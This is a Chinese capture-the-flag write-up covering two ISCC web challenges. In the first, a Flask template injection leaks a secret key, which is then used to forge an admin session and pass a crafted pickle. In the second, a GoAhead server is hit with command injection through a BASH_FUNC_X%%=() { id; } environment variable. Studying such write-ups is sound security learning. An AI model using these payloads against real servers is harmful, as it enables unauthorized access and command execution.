ISCC- 擂台-WEB

162 阅读3分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情

WEB

1. Melody

查看源代码,发现/info,然后访问

在这里插入图片描述

是要更改useragent头,要讲请求头改为Melody。

给Melody传入参数{{config}},会发现一个key。

'SECRET_KEY': 'meldoy-is-so-cute-wawawa!'

flask-session伪造admin登录是肯定的了。都给密钥了。

然后替换掉原来的session后。 在 view-source:http://59.110.159.206:7040/static/real_flag_part.py

发现了源码

# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request

class register:
    def __init__(self,name,password):
        self.name = name
        self.password = password

    def __eq__(self, other):
        return type(other) is register and self.name == other.name and self.password == other.password


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module[0:8] == '__main__':
            return getattr(sys.modules['__main__'],name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()
#发现/therealflag页面
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
    if request.method == 'POST':#POST
        try:
            data = request.form.get('melody')#表单molody
            if b'R' in base64.b64decode(data):#不允许R指令
                return 'no reduce'
            else:
                result = find(base64.b64decode(data))#RestrictedUnpickler
                if type(result) is not register:#类型
                    return 'The type is not correct!'
            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
            if correct:
                if session['username'] == 'admin':
                    return Response(read('./flag.txt'))#返回flag
                else:
                    return Response("You're not admin!")
        except Exception as e:
            return Response(str(e))

    test = register('admin', '123456')
    data = base64.b64encode(pickle.dumps(test)).decode()
    return Response(data)

这里用了pickle库,应该是python反序列化了。

用pickle库,print(pickle.dumps(register("melody","hug"))) 然后base64传过去

import pickle 
import base64 

class register: 
    def __init__(self,name,password): 
        self.name = name 
        self.password = password 

    def __eq__(self, other): 
        return type(other) is register and self.name == other.name and self.password == other.password 

flag = register("melody","hug") 
a = pickle.dumps(flag) 
print(base64.b64encode(a))

通过这个题目收获到如何进行session伪造,然后伪造admin登陆,对于python反序列化也有了了解和学习。

ping2rce

这是当时做这个题目找到的博客学习文章。

tttang.com/archive/139…

tttang.com/archive/145…

ahmed-belkahla.me/post/2-meth…

paper.seebug.org/1808/

题目中他给了一个ping的一个功能,看起来就是ping的RCE,但是嘞限制的很死,类似于三个数字.三个数字.三个数字.三个数字 然后我发现他的服务器GoAhead 5.1.4,这个版本是有漏洞的(CVE-2021-42342) 漏洞的大概的原理就是通过LD_PRELOAD劫持CG进程的动态链接库,导致RCE。我觉得这是Goahead命令注入,然后通过bash的环境变量覆盖执行。后来看了文章总结发现,这个题目不是变量覆盖执行,而是直接的命令执行。

漏洞与CVE-2021-42342类似。漏洞影响版本为GoAhead web-server=4.x 5.x<=GoAhead web-server<5.1.5

for便利了所有的环境变量,name是环境变量名,string是值。

当满足
● privmode == 0,即不能传入-p参数
● read_but_dont_execute == 0,即不能传入-n参数
● STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN),环境变量名前10个字符等于\BASH_FUNC_ ● STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN),环境变量名后两个字符等于%%
● STREQN ("() {", string, 4),环境变量的值前4个字符等于() {
这五个条件的时候,temp_string将被传入parse_and_execute执行
if语句后,去除前缀BASH_FUNC_和后缀%%的部分将是一个变量名,而由() {开头的字符串将会被执行。
BASH_FUNC_X%%=() { id; } 这个题目给的变量就是ping,然后post将multipart数据包发出去。

在这里插入图片描述

然后就发现了注入点,之后查找ls查看目录文件,然后cat命令flag就行了。

在这里插入图片描述 通过这个题目收获到了Goahead命令注入,然后可以通过bash的环境变量覆盖执行。感谢P牛的文章。